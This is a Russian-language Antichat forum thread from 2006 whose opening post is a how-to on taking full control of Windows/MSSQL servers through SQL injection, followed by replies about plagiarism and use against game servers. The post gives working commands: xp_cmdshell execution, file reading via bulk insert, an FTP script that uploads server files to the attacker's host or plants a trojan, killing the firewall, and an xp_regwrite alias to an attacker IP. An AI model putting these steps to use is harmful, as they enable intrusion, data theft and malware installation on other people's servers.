Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
Захватываем контроль над сервером используя mssql. |

12.12.2006, 01:41
|
|
Познающий
Регистрация: 16.10.2006
Сообщений: 82
Провел на форуме: 248469
Репутация:
33
|
|
Захватываем контроль над сервером используя mssql.
Статья о том, что можно выжать из найденной инъекции на сервере MSSQL.
Как известно, язык mssql поддерживает несколько команд в одном запросе. Они разделены через ; Настоящий подарок для хакера! В отличие от mysql есть возможность ввести любую команду в БД сервера.
В mssql есть куча хранимых системных процедур. Вот их краткий список -
xp_enumgroups (группы из ОС Windows)
xp_ntsec_enumdomains (список доменов сети)
xp_enumdsn (источники данных ODBC)
xp_loginconfig (инфо о пользователе)
xp_logininfo (все пользователи, залогинившиеся на данный момент в системе)
xp_msver (версия SQL сервера)
xp_cmdshell <команда> (исполнение файла через cmd.exe)
xp_servicecontrol <действие>,<служба> (запускает или останавливает указанные процесс)
xp_terminate_process <идентификатор процесса> (закрытие процесса по его ProcessID)
xp_startmail, xp_sendmail (обращение к потовому демону sendmail)
sp_makewebtask (выполнение команды html вида)
Нас будет интересовать в основном xp_cmdshell. Благодаря возможности вывода комманд в файл мы может увидеть результаты команды. Пример:
exec master.dbo.xp_cmdshell 'dir "c:/" >> c:/boot.dll'
Теперь в файле c:/boot.dll будет список директорий диска C.
Немного о чтении файлов:
CREATE TABLE temp_table (file2 char(5000) NOT NULL) - создаем таблицу куда будем читать.
truncate table temp_table - чистим эту таблицу
bulk insert temp_table from 'c:/boot.ini' - загружаем файл в таблицу
SELECT * FROM temp_table - выдаем на экран содержимое
Внимание: таким способом можно читать файлы только если есть возможность вывода информации на экран, в обратном случае смотрим ниже.
После окончания работы с таблицей не забудьте
DROP TABLE temp_table
иначе возникнут пробемы у хозяев сервера при бэкапах.
Очень часто возникает потребность в скачивании важных файлов с сервера (или наобот закачать троян на сервер).
Нетривиальная задача - ведь у нас есть только командная строка и мы даже не всегда можем посмотреть результаты выполнения команды.
Но команда ftp очень облегчает жизнь.
Допустим 10.10.10.10 - наш фтп сервер, 123 - пользователь, 123 - пароль пользователя 123.
Тогда выполнив группу команд
exec master.dbo.xp_cmdshell 'copy c:\windows\system32\cmd.exe c:\cmd1.exe' - делаем копию cmd чтобы можно было выполнять @echo
exec master.dbo.xp_cmdshell 'c:\cmd1.exe /c @echo open ftp.server.net > c:\ftp.ini'
exec master.dbo.xp_cmdshell 'c:\cmd1.exe /c @echo 123 ftp >> c:\ftp.ini'
exec master.dbo.xp_cmdshell 'c:\cmd1.exe /c @echo 123 ftp >> c:\ftp.ini'
exec master.dbo.xp_cmdshell 'c:\cmd1.exe /c @echo put c:\boot.ini >> c:\ftp.ini'
exec master.dbo.xp_cmdshell 'c:\cmd1.exe /c @echo bye >> c:\ftp.ini'
это мы создали файлег c:/ftp.ini с содержанием
open 10.10.10.10
123
123
put c:\boot.ini
bye
exec master.dbo.xp_cmdshell 'c:\cmd1.exe /c ftp -i -s:c:\ftp.ini' - грузим c:/boot.ini к себе на фтпшник.
Совет: потренируйтесь сначала на своем домашнем компьютере, убедитесь что все работает.
Разуемеется если на сайте есть сайт то можно сделать намного проще - copy c:/boot.ini c:/inetpub/wwwroot/123.ini и потом читать его из браузера как http://site.ru/123.ini
Однако во первых нужно знать установочную директорию сайта, а во вторых загрузить трояна таким способом у вас не получится.
Итак если вы вслепую делаете инъекцию (например union select... сделать не получилось или вы нашли инъекцию в какой-нибудь онлайт игре) вы все равно сможете узнать результаты выполнения комманд.
Просто вместо c:/boot.ini из предыдущего примера отправляйте к себе на фтп файл с результатами команд cmd.
Про блокирование фаервола:
Самый простой (но паленый) способ это поглядеть список процессов при помощи
exec master.dbo.xp_cmdshell 'tasklist >> c:/boot.dll', найти там процесс фаервола и убить его (к сожалению команды-аналога killl в unix не помню, поглядите в справочниках).
Также у нас есть полный доступ к системному реестру винды при помощи xp_regwrite.
Например разрешим mssql серверу соединяться по 80 порту:
exec xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServ er\Client\ConnectTo','Hacke
rSrvAlias','REG_SZ','DBMSSOCN,hackersip,80'
Итак в случае если сервер настроен по умолчанию (под администратором в виндовсе и под sa в mssql), если нету ограничения на длину запроса и нету фильтрации спецсимволов мы можем захватить полный контроль над сервером.
Могу сказать, что такие настройки встречаются очень часто. Таким образом, найдя инъекцию в игре или на сайте, можно скачать важную информацию с сервера или захватить над ним полный контроль.
Моя первая статья, не судите строго. Писал по своему опыту, пришлось долго искать необходимую информацию. Может быть поможет кому-нибудь.
Ссылки по теме:
_http://www.marketer.ru/node/795/
_http://fenix.lamak.ru/Journal/XAKEP/2003/(8)56/050/2.htm
Про отключение стандартного фаервола из командной строки windows где-то видел тему, но потерял ссылку (
|
|
|

13.12.2006, 03:16
|
|
Banned
Регистрация: 10.07.2005
Сообщений: 224
Провел на форуме: 1062041
Репутация:
50
|
|
Re:"Моя первая статья, не судите строго. Писал по своему опыту, пришлось долго искать необходимую информацию." - фуфло, это я читал где то точно, не буду спорить может ты из нескольких статей это вырезал, но не твое точно,
даже сомневаюсь, что ты в курсе что есть такое хранимые процедуры.
|
|
|

13.12.2006, 03:36
|
|
Members of Antichat
Регистрация: 03.09.2005
Сообщений: 594
Провел на форуме: 3606217
Репутация:
685
|
|
(к сожалению команды-аналога killl в unix не помню, поглядите в справочниках).
taskkill/?
найти там процесс фаервола и убить его
При килянии его из процессов, он тебя пошлёт на йух.
Молодец, продолжай так же
|
|
|

13.12.2006, 04:01
|
|
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме: 3887520
Репутация:
2996
|
|
Хорошо хотя много лишнего и оформление не очень
|
|
|

26.12.2006, 12:57
|
|
Участник форума
Регистрация: 27.08.2006
Сообщений: 223
Провел на форуме: 2154209
Репутация:
341
|
|
Сообщение от Xex
Re:"Моя первая статья, не судите строго. Писал по своему опыту, пришлось долго искать необходимую информацию." - фуфло, это я читал где то точно, не буду спорить может ты из нескольких статей это вырезал, но не твое точно,
даже сомневаюсь, что ты в курсе что есть такое хранимые процедуры.
фуфло эт у тебя... я эту статью искал дня два в инете. Давай попробуй, чтож ты протсо так орешь?
А по делу. Это реальная статья, особенно очень пригодится при взломе игровых серверов 
|
|
|

02.01.2007, 18:09
|
|
Постоянный
Регистрация: 22.04.2006
Сообщений: 566
Провел на форуме: 1325772
Репутация:
517
|
|
http://injection.rulezz.ru/MSSQL-Injection.html ))) пародия??
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|